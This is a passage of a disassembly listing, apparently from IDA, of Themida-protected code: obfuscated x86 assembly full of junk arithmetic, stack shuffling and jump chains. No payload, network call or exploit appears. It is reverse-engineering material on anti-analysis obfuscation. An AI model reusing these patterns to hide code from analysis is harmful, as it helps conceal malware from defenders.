sub_58D90C	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_58D91C:				; CODE XREF: sub_596082+F25j
		mov	eax, 7DE23B51h
		add	eax, 267D641Dh
		jz	loc_590825
		not	eax
		shl	eax, 2
		shr	eax, 4
		jnp	loc_58C644
		dec	eax
		add	eax, 2FD6FD9Ah
		xor	eax, 54276303h
		jmp	loc_59755F
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E66C


loc_58D94A:				; CODE XREF: sub_58E66C+6F9Cj
		pop	ecx
		push	esi
		mov	esi, esp
		add	esi, 4
		push	eax
		mov	eax, 4
		jmp	loc_5946EA
; END OF FUNCTION CHUNK	FOR sub_58E66C
; ---------------------------------------------------------------------------
		lodsb
		push	ebx
		jmp	loc_595EEB

; =============== S U B	R O U T	I N E =======================================



sub_58D966	proc near		; CODE XREF: sub_596082-90Ej

var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0058ACA8 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0058D83B SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0058E7D4 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0058F5ED SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00590394 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00590EDA SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00591C29 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00596C92 SIZE 0000001B BYTES

		push	ebp
		jmp	loc_590394
sub_58D966	endp

; ---------------------------------------------------------------------------


loc_58D96C:				; CODE XREF: Themida_:0058E698j
		mov	[esp], ebp
		xor	dword ptr [esp], 30CA6ED6h
		pop	edx
		push	ebx
		mov	ebx, 30CA6ED6h
		xor	edx, ebx
		pop	ebx
		jmp	loc_592D05
; ---------------------------------------------------------------------------
		db 66h,	89h, 24h
; ---------------------------------------------------------------------------
		and	al, 0E9h
		rcl	dword ptr [ebx+0], 0


loc_58D98E:				; CODE XREF: Themida_:00596403j
		push	ebx
		mov	ebx, 2
		sub	esi, 356B5F00h
		add	esi, ebx
		jmp	loc_58F8A5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E66C


loc_58D9A1:				; CODE XREF: sub_58E66C+21AFj
		mov	esi, ebx
		push	esi
		pop	ecx
		pop	esi
		jmp	loc_58DD40
; END OF FUNCTION CHUNK	FOR sub_58E66C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590324


loc_58D9AB:				; CODE XREF: sub_590324-21A6j
		pop	esp
		mov	[esp+4+var_4], esi
		jmp	loc_593EF1
; END OF FUNCTION CHUNK	FOR sub_590324
; ---------------------------------------------------------------------------


loc_58D9B4:				; CODE XREF: Themida_:0058FFC2j
		sub	edi, 3223AB63h
		push	ebx
		jmp	loc_595A4D
; ---------------------------------------------------------------------------


loc_58D9C0:				; CODE XREF: Themida_:00594476j
		add	ecx, edi
		mov	edi, [esp]
		jmp	loc_58F70A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E66C


loc_58D9CA:				; CODE XREF: sub_58E66C+8F15j
		mov	edi, 4
		add	edx, edi
		pop	edi
		xchg	edx, [esp+4+var_4]
		pop	esp
		sub	esp, 4
		mov	[esp+4+var_4], eax
		sub	esp, 4
		mov	[esp+8+var_8], esi
		push	edx
		jmp	loc_59441B
; END OF FUNCTION CHUNK	FOR sub_58E66C
; ---------------------------------------------------------------------------


loc_58D9E8:				; CODE XREF: Themida_:0059110Bj
		pop	esp
		xor	eax, esi
		mov	esi, [esp]
		add	esp, 4
		push	5CFBh
		mov	[esp], esi
		push	578D7E8Fh
		jmp	loc_5909BD
; ---------------------------------------------------------------------------


loc_58DA03:				; CODE XREF: Themida_:0059605Fj
		mov	edx, 76D7161h
		not	edx
		inc	edx
		jge	loc_58BD25
		jmp	loc_594CAB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5F45E7


loc_58DA16:				; CODE XREF: sub_5F45E7-5E655j
		sub	bl, ah
		mov	eax, [esp+0]
		push	ecx
		jmp	loc_58EBA9
; END OF FUNCTION CHUNK	FOR sub_5F45E7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595387


loc_58DA21:				; CODE XREF: sub_595387+209Fj
		push	esp
		pop	ebp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+0Ch+var_C]
		pop	esp
		add	ecx, 2
		xor	ecx, [esp+8+var_8]
		xor	[esp+8+var_8], ecx
		xor	ecx, [esp+8+var_8]
		mov	esp, [esp+8+var_8]
		jmp	loc_58F465
; END OF FUNCTION CHUNK	FOR sub_595387
; ---------------------------------------------------------------------------


loc_58DA44:				; CODE XREF: Themida_:005932A1j
		push	ebp
		mov	ebp, 4
		mov	ebx, ebp
		jmp	loc_594FEB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590324


loc_58DA51:				; CODE XREF: sub_590324+439Aj
		shl	edi, 7
		shr	edi, 2
		shl	edi, 8
		xor	edi, 4E6E5365h
		xor	edi, 49525361h
		add	ebp, edi
		pop	edi
		push	ebx
		mov	ebx, 4
		sub	ebp, 7B9E6C9Bh
		sub	ebp, ebx
		add	ebp, 7B9E6C9Bh
		jmp	loc_58D1F7
; END OF FUNCTION CHUNK	FOR sub_590324
; ---------------------------------------------------------------------------


loc_58DA82:				; CODE XREF: Themida_:00595DC4j
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		jmp	loc_58BA02
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_58DA96:				; CODE XREF: sub_596082+3B6j
		sub	ecx, 45A560BBh
		jmp	loc_5974EC
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_592A4E


loc_58DAA1:				; CODE XREF: sub_592A4E-2970j
		pop	esp
		mov	[esp-8+arg_4], ebx
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		jmp	loc_58E440
; END OF FUNCTION CHUNK	FOR sub_592A4E
; ---------------------------------------------------------------------------


loc_58DAB9:				; CODE XREF: Themida_:0058DFADj
		add	edx, 65765BC0h
		sub	edx, 93169C83h
		jmp	loc_58B88F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E049


loc_58DACA:				; CODE XREF: sub_58E049-3358j
		pop	esi
		jmp	loc_5900EE
; END OF FUNCTION CHUNK	FOR sub_58E049
; ---------------------------------------------------------------------------


loc_58DAD0:				; CODE XREF: Themida_:005928ABj
		push	ecx
		mov	cl, 98h
		jmp	loc_5917BA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E66C


loc_58DAD8:				; CODE XREF: sub_58E66C+374Cj
		pop	esp
		sub	esp, 4
		mov	[esp+0Ch+var_C], esi
		mov	esi, 2CBD5492h
		xor	eax, esi
		pop	esi
		push	47B0h
		jmp	loc_59414D
; END OF FUNCTION CHUNK	FOR sub_58E66C
; ---------------------------------------------------------------------------


loc_58DAF1:				; CODE XREF: Themida_:0058F087j
		jl	loc_590F41
		jmp	loc_5906DD
; ---------------------------------------------------------------------------
		sub	edx, 2F494C64h
		mov	ebp, edx
		pop	esi


loc_58DB05:				; CODE XREF: Themida_:0058E5D0j
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_5902F1
; ---------------------------------------------------------------------------


loc_58DB10:				; CODE XREF: Themida_:0058E265j
		push	5942h
		mov	[esp], ebp
		push	eax
		push	7B99767Fh
		push	dword ptr [esp]
		pop	eax
		jmp	loc_58E5BA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_58DB27:				; CODE XREF: sub_596082-B129j
		pop	ebp
		mov	edi, eax
		jmp	loc_58D047
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------


loc_58DB2F:				; CODE XREF: Themida_:0058BF0Fj
		xchg	ebx, [esp]
		mov	esp, [esp]
		mov	ax, [esp]
		push	ecx
		push	esp
		jmp	loc_58F874
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_58DB40:				; CODE XREF: sub_596082-3058j
		or	eax, eax
		jz	loc_58FF3C
		push	4B80h
		mov	[esp+0Ch+var_C], ebx
		mov	ebx, 1Ch
		push	edx
		mov	edx, 0A660682h
		jmp	loc_591C39
; END OF FUNCTION CHUNK	FOR sub_596082

; =============== S U B	R O U T	I N E =======================================



sub_58DB60	proc near		; CODE XREF: sub_58A50F+D31Ej

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0058C29E SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0058CE3D SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0058EFD8 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058F3B1 SIZE 0000002A BYTES
; FUNCTION CHUNK AT 0059549A SIZE 00000019 BYTES

		sub	esp, 4
		mov	[esp+4+var_4], esi
		mov	esi, 6C464582h
		xor	esi, 2A096CEFh
		jmp	loc_59549A
sub_58DB60	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58AE7C


loc_58DB79:				; CODE XREF: sub_58AE7C+459Cj
		shr	edx, 4
		xchg	eax, edx
		not	eax
		push	edx
		push	eax
		pop	edx
		pop	eax
		and	edx, 5D358BAh
		jmp	loc_58F121
; END OF FUNCTION CHUNK	FOR sub_58AE7C
; ---------------------------------------------------------------------------


loc_58DB8E:				; CODE XREF: Themida_:00594D05j
		add	dword ptr [esp], 44490878h
		sub	[esp], edx
		jmp	loc_58F0FC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F160


loc_58DB9D:				; CODE XREF: sub_58F160+4513j
		and	esi, 1C673B2Dh
		jnb	loc_58BC12
		dec	esi
		jns	loc_58AD14
		jmp	loc_592AE5
; END OF FUNCTION CHUNK	FOR sub_58F160
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_58DBB5:				; CODE XREF: sub_596082:loc_594102j
		push	eax
		mov	eax, 0E157FAFCh
		jmp	loc_595745
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------


loc_58DBC0:				; CODE XREF: Themida_:0058F297j
		add	dl, 72h
		sub	al, dl
		jmp	loc_58E13C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E66C


loc_58DBCA:				; CODE XREF: sub_58E66C+5814j
		push	edi
		push	edx
		mov	edx, 0F4B0062h
		mov	edi, edx
		pop	edx
		mov	eax, 0F4B00E2h
		add	eax, 1497367Ch
		sub	eax, edi
		push	ecx
		jmp	loc_58AB1F
; END OF FUNCTION CHUNK	FOR sub_58E66C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594F3F


loc_58DBE6:				; CODE XREF: Themida_:loc_5951FFj
					; sub_594F3F+2851j
		mov	ebp, 5E153B92h
		inc	ebp
		jmp	loc_58B34F
; END OF FUNCTION CHUNK	FOR sub_594F3F
; ---------------------------------------------------------------------------


loc_58DBF1:				; CODE XREF: Themida_:00596A7Bj
		pop	ebp
		add	esp, 4
		sub	eax, 6EE95C82h
		sub	eax, 5ED0073h
		jmp	loc_5976A1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5F45E7


loc_58DC04:				; CODE XREF: sub_5F45E7-5E70Dj
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+24h+var_24]
		pop	esp
		jmp	loc_590BC5
; END OF FUNCTION CHUNK	FOR sub_5F45E7
; ---------------------------------------------------------------------------


loc_58DC19:				; CODE XREF: Themida_:0059004Fj
		mov	edx, ecx
		pop	ecx
		sub	ecx, edx
		mov	edx, [esp]
		add	esp, 4
		xor	eax, ecx
		mov	ecx, [esp]
		push	ebx
		mov	ebx, esp
		jmp	loc_58EF0E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E66C


loc_58DC34:				; CODE XREF: sub_58E66C+6171j
		mov	[ebx], esi
		pop	ebx
		mov	esi, [esp+10h+var_10]
		add	esp, 4
		sub	esp, 4
		mov	[esp+10h+var_10], esi
		push	4FDC5ADBh
		jmp	loc_590110
; END OF FUNCTION CHUNK	FOR sub_58E66C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F160


loc_58DC4D:				; CODE XREF: sub_58F160-554j
		mov	esp, [esp+0]
		push	dword ptr [esp+0]
		jmp	loc_592881
; END OF FUNCTION CHUNK	FOR sub_58F160
; ---------------------------------------------------------------------------


loc_58DC58:				; CODE XREF: Themida_:0059187Fj
		pop	edx
		jmp	loc_58F326
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5902CA


loc_58DC5E:				; CODE XREF: sub_5902CA-5130j
		sub	si, 79B3h
		sub	si, 9635h
		mov	cx, si
		pop	esi
		jmp	loc_597392
; END OF FUNCTION CHUNK	FOR sub_5902CA
; ---------------------------------------------------------------------------


loc_58DC71:				; CODE XREF: Themida_:0059255Dj
		pop	ebx
		add	ebp, esi
		pop	esi
		jmp	loc_595ADD
; ---------------------------------------------------------------------------
		lodsb
		push	4087h
		mov	[esp], ecx
		mov	cl, 16h
		push	edx
		mov	dh, 98h
		add	cl, dh
		pop	edx
		jmp	loc_58BCDD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59236E


loc_58DC90:				; CODE XREF: sub_59236E-1583j
		push	edi
		push	39416D21h
		pop	edi
		jmp	loc_592BE8
; END OF FUNCTION CHUNK	FOR sub_59236E
; ---------------------------------------------------------------------------


loc_58DC9C:				; CODE XREF: Themida_:0059035Dj
		mov	ecx, [esp]
		add	esp, 4
		add	ebp, esi
		jmp	loc_59706A
; ---------------------------------------------------------------------------


loc_58DCA9:				; CODE XREF: Themida_:0058D169j
		push	ecx
		mov	ecx, 3D3A3Ah
		xor	edi, ecx
		pop	ecx
		jmp	loc_593FDE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596BF6


loc_58DCB7:				; CODE XREF: sub_596BF6-4BBAj
		push	ecx
		mov	ecx, 4
		add	eax, ecx
		pop	ecx
		jmp	loc_58AE93
; END OF FUNCTION CHUNK	FOR sub_596BF6
; ---------------------------------------------------------------------------


loc_58DCC5:				; CODE XREF: Themida_:0058DDEDj
		mov	[esp], ecx
		sub	esp, 4
		mov	[esp], esp
		push	ecx
		mov	ecx, 4
		add	[esp+4], ecx
		pop	ecx
		mov	ecx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		jmp	loc_5952A4
; ---------------------------------------------------------------------------


loc_58DCED:				; CODE XREF: Themida_:0058EE5Aj
		push	6015h
		mov	[esp], edx
		mov	edx, esp
		push	ebp
		push	eax
		jmp	loc_590832
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_58DCFE:				; CODE XREF: sub_596082-9560j
		xor	esi, edx
		pop	edx
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		jmp	loc_5945EC
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------


loc_58DD12:				; CODE XREF: Themida_:0058F997j
		xor	edi, eax
		xor	eax, edi
		xor	edi, eax
		not	eax
		xchg	eax, edi
		push	1D78h
		mov	[esp], edi
		push	dword ptr [esp+4]
		mov	edi, [esp]
		sub	esp, 4
		jmp	loc_58B799
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	1E2Fh
		jmp	loc_58CE6A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E66C


loc_58DD40:				; CODE XREF: sub_58E66C-CC6j
		push	4E94h
		mov	[esp+0Ch+var_C], edx
		mov	edx, ecx
		push	edx
		mov	eax, [esp+10h+var_10]
		add	esp, 4
		mov	edx, [esp+0Ch+var_C]
		push	ecx
		mov	ecx, esp
		push	eax
		mov	eax, 35C044D0h
		push	eax
		not	[esp+18h+var_18]
		pop	eax
		jmp	loc_5955F0
; END OF FUNCTION CHUNK	FOR sub_58E66C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_58DD6A:				; CODE XREF: sub_596082-1B7Dj
		sub	[esp+18h+var_14], 6B115526h
		sub	[esp+18h+var_14], 11E3237h
		pop	esi
		pop	eax
		push	edi
		mov	edi, 21DE3CF2h
		add	eax, edi
		pop	edi
		push	dword ptr [edi+eax*4]
		jmp	loc_58FA18
; ---------------------------------------------------------------------------


loc_58DD8D:				; CODE XREF: sub_596082-AD9Cj
		pop	esp
		jmp	loc_58FF52
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------


loc_58DD93:				; CODE XREF: Themida_:0058E68Dj
		xor	bh, [esp]
		xor	[esp], bh
		jmp	loc_58A4F0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E66C


loc_58DD9E:				; CODE XREF: sub_58E66C+5DDEj
		push	[esp+14h+var_14]
		pop	eax
		jmp	sub_596BF6
; END OF FUNCTION CHUNK	FOR sub_58E66C
; ---------------------------------------------------------------------------
		dec	dx
		dec	dx
		sub	dx, 0AC65h
		mov	cx, dx
		pop	edx
		sub	ax, 4AC4h
		push	bx
		mov	bx, 212Bh
		sub	ax, 0D7Eh
		add	ax, bx
		jmp	loc_593DA0
; ---------------------------------------------------------------------------
		lodsd
		jmp	loc_58B76C
; ---------------------------------------------------------------------------


loc_58DDD0:				; CODE XREF: Themida_:0058EA05j
		pop	eax
		jmp	loc_59513B
; ---------------------------------------------------------------------------


loc_58DDD6:				; CODE XREF: Themida_:00590D1Fj
		push	1992h
		mov	[esp], esi
		jmp	loc_58E69D
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		sub	esp, 4
		jmp	loc_58DCC5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5917EE


loc_58DDF2:				; CODE XREF: sub_5917EE-5E1j
		mov	ecx, 3FD017EDh
		sub	ecx, 731E7D74h
		add	ecx, 60026980h
		mov	[edx+30h], ecx
		pop	ecx
		jmp	loc_5910DC
; END OF FUNCTION CHUNK	FOR sub_5917EE
; ---------------------------------------------------------------------------


loc_58DE0C:				; CODE XREF: Themida_:0058ED22j
		push	4D35h
		mov	[esp], eax
		push	297Eh
		mov	[esp], esp
		push	esi
		jmp	loc_59520A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_58DE22:				; CODE XREF: sub_596082+52Dj
		push	5B64h
		mov	[esp+4+var_4], edi
		jmp	sub_58F160
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5952B4


loc_58DE2F:				; CODE XREF: sub_5952B4-1227j
		push	[esp-4+arg_4]
		mov	ebp, [esp+0]
		add	esp, 4
		jmp	loc_592BA0
; END OF FUNCTION CHUNK	FOR sub_5952B4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_58DE41:				; CODE XREF: Themida_:loc_58F9BFj
					; sub_596082-35A2j
		mov	[esp+4+var_4], eax
		mov	al, 0DEh
		jmp	loc_59358B
; ---------------------------------------------------------------------------


loc_58DE4B:				; CODE XREF: sub_596082-A454j
		mov	ecx, 5FBC070Ah
		add	ecx, 582B290Ah
		shr	ecx, 4
		xor	ecx, 207F56E5h
		xor	eax, ecx
		pop	ecx
		sub	edx, eax
		pop	eax
		jmp	loc_596033
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------


loc_58DE6A:				; CODE XREF: Themida_:00591684j
					; Themida_:005950ADj
		add	bh, 6Fh
		sub	al, bh
		pop	bx
		jmp	loc_58FEDE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_58DE76:				; CODE XREF: Themida_:loc_58C8E8j
					; sub_596082-4230j
		pop	ebp
		xchg	edx, [esp+0Ch+var_C]
		pop	esp
		push	4C3Ah
		mov	[esp+0Ch+var_C], ecx
		push	43DFh
		jmp	loc_5965AC
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------


loc_58DE8D:				; CODE XREF: Themida_:0058C12Cj
		push	456Ch
		mov	[esp], esi
		push	edx
		push	5C512360h
		pop	edx
		sub	edx, 5C51235Eh
		jmp	loc_593630
; ---------------------------------------------------------------------------


loc_58DEA7:				; CODE XREF: Themida_:00593915j
		add	esp, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		sub	dword ptr [esp], 99F56A1h
		add	[esp], eax
		push	ecx
		mov	ecx, 79425918h
		add	ecx, 905CFD89h
		sub	dword ptr [esp+4], 1FA740D6h
		jmp	loc_58A65E
; ---------------------------------------------------------------------------


loc_58DED3:				; CODE XREF: Themida_:00590AACj
		neg	eax
		or	eax, 5C0A1BD5h
		add	eax, 0F1DA88FCh
		and	ecx, eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_595980
; ---------------------------------------------------------------------------


loc_58DEEF:				; CODE XREF: Themida_:0058E625j
		push	esp
		push	dword ptr [esp]
		pop	eax
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		add	eax, 4
		add	eax, 4
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], eax
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	edx
		jmp	loc_58B8D0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5952B4


loc_58DF3A:				; CODE XREF: sub_5952B4+1j
		mov	ebp, 22955CB3h
		shr	ebp, 1
		sub	ebp, 520B1909h
		not	ebp
		xor	ebp, 55A425C9h
		sub	ebp, 6E726DDFh
		xor	ebp, 0DC0A1EF3h
		xor	ecx, ebp
		mov	ebp, [esp+0]
		add	esp, 4
		jmp	loc_595E96
; END OF FUNCTION CHUNK	FOR sub_5952B4
; ---------------------------------------------------------------------------


loc_58DF6B:				; CODE XREF: Themida_:005945B4j
		xchg	edi, [esp]
		pop	esp
		add	edx, 2
		sub	esp, 4
		mov	[esp], edx
		push	dword ptr [esp+4]
		mov	edx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	fs:[edx], al
		jmp	loc_58A4F0
; ---------------------------------------------------------------------------


loc_58DF96:				; CODE XREF: Themida_:005916CCj
		add	bl, 44h
		add	bl, al
		sub	bl, 44h
		push	295h
		jmp	loc_58BA5F
; ---------------------------------------------------------------------------


loc_58DFA8:				; CODE XREF: Themida_:0058BC91j
		mov	edx, 7D716B1Eh
		jmp	loc_58DAB9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E049


loc_58DFB2:				; CODE XREF: sub_58E049-3957j
		push	edx
		mov	edx, 4
		mov	ebx, edx
		pop	edx
		jmp	sub_58D2AA
; END OF FUNCTION CHUNK	FOR sub_58E049
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591C99


loc_58DFC0:				; CODE XREF: sub_591C99-2F9Ej
		xchg	ebx, [esp+0]
		pop	esp
		xor	ebx, eax
		jmp	sub_594239
; END OF FUNCTION CHUNK	FOR sub_591C99
; ---------------------------------------------------------------------------


loc_58DFCB:				; CODE XREF: Themida_:0059712Dj
		xchg	eax, [esp]
		pop	esp
		add	edx, edi
		pop	edi
		jmp	loc_58A4F0
; ---------------------------------------------------------------------------
		lodsd
		xor	eax, ebx
		jmp	loc_58E404
; ---------------------------------------------------------------------------


loc_58DFDF:				; CODE XREF: Themida_:0058E961j
		add	eax, ecx
		add	eax, 0C9B387Ah
		sub	eax, 5FDC72B8h
		jmp	loc_58FEB7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58AE7C


loc_58DFF0:				; CODE XREF: sub_58AE7C+70A3j
		mov	ah, 0DAh
		sub	bl, ah
		mov	eax, [esp+8+var_8]
		jmp	loc_59528A
; END OF FUNCTION CHUNK	FOR sub_58AE7C
; ---------------------------------------------------------------------------


loc_58DFFC:				; CODE XREF: Themida_:0058D69Bj
		mov	esi, esp
		push	ecx
		jmp	loc_58BCCD
; ---------------------------------------------------------------------------


loc_58E004:				; CODE XREF: Themida_:0058A703j
		mov	[esp], edx
		jmp	loc_591507
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594F3F


loc_58E00C:				; CODE XREF: sub_594F3F+3j
		mov	[esp+4+var_4], eax
		mov	eax, 26F95AA0h
		and	eax, 7DEC727Ch
		jb	loc_59683B
		and	eax, 632D6CE8h
		add	eax, 55F42611h
		jle	loc_595E59
		neg	eax
		jmp	loc_58D208
; END OF FUNCTION CHUNK	FOR sub_594F3F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596B50


loc_58E036:				; CODE XREF: sub_596B50-2328j
		mov	eax, 18283696h
		sub	eax, ebp
		pop	ebp
		sub	[edi+24h], eax
		mov	eax, [esp-4+arg_0]
		jmp	loc_59584B
; END OF FUNCTION CHUNK	FOR sub_596B50

; =============== S U B	R O U T	I N E =======================================



sub_58E049	proc near		; CODE XREF: sub_58E91C-4Ej

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0058A6CE SIZE 00000029 BYTES
; FUNCTION CHUNK AT 0058ACE5 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0058DACA SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0058DFB2 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005900EE SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005933C7 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 005949CC SIZE 00000034 BYTES

		sub	esp, 4
		mov	[esp+4+var_4], edx
		sub	[esp+4+var_4], 77387C90h
		pop	eax
		add	eax, 77387C90h
		push	dword ptr [esp+0]
		jmp	loc_5933C7
sub_58E049	endp

; ---------------------------------------------------------------------------


loc_58E064:				; CODE XREF: Themida_:00595600j
		push	ebx
		mov	ebx, 39B8589Dh
		add	ebx, 61EA1C56h
		jmp	loc_592EDC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C878


loc_58E075:				; CODE XREF: sub_58C878+743Dj
		mov	edi, [esp+0Eh+var_E]
		add	esp, 4
		push	ebx
		mov	ebx, 12D73FB7h
		neg	ebx
		not	ebx
		add	ebx, 0ED28C04Eh
		add	edx, ebx
		pop	ebx
		jmp	sub_596498
; END OF FUNCTION CHUNK	FOR sub_58C878
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_58E096:				; CODE XREF: sub_596082-4141j
		mov	[esp+10h+var_10], edi
		push	25F0063Dh
		jmp	loc_590182
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------


loc_58E0A3:				; CODE XREF: Themida_:0058BD5Aj
		push	ebp
		jmp	loc_597177
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_58E0A9:				; CODE XREF: sub_596082-26B2j
		mov	[esp+14h+var_14], edi
		mov	edi, 58DF4FF0h
		xor	eax, edi
		pop	edi
		xor	eax, 55313884h
		jl	loc_58C56B
		inc	eax
		add	eax, 1F1F7F2Bh
		jmp	loc_592AC0
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5F45E7


loc_58E0CA:				; CODE XREF: sub_5F45E7-62420j
		xor	cl, 0ECh
		add	cl, 0E0h
		sub	al, 0DDh
		sub	al, cl
		sub	esp, 2
		mov	word ptr [esp+24h+var_24], cx
		mov	ch, 0DDh
		add	al, ch
		pop	cx
		push	[esp+22h+var_24+2]
		jmp	loc_590560
; END OF FUNCTION CHUNK	FOR sub_5F45E7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_58E0E9:				; CODE XREF: sub_596082-237Aj
		add	esp, 4
		add	esp, 4
		add	eax, edx
		pop	edx
		sub	ebx, 1B791F7Eh
		add	ebx, 527535D8h
		jmp	loc_593E0B
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------


loc_58E106:				; CODE XREF: Themida_:0058C54Bj
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], ebp
		mov	ebp, esp
		push	esi
		mov	esi, 4
		jmp	loc_58E7A3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E1BA


loc_58E126:				; CODE XREF: sub_58E1BA+1Aj
		mov	[esp+4+var_4], ecx
		jmp	loc_593DEC
; END OF FUNCTION CHUNK	FOR sub_58E1BA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_58E12E:				; CODE XREF: sub_596082-2958j
		add	edx, 4
		add	edx, 4
		jmp	loc_590481
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------


loc_58E13C:				; CODE XREF: Themida_:0058DBC5j
		pop	edx
		mov	ecx, [esp]
		add	esp, 4
		sub	bl, 7Eh
		sub	bl, al
		sub	esp, 4
		jmp	loc_594805
; ---------------------------------------------------------------------------


loc_58E153:				; CODE XREF: Themida_:0058C74Fj
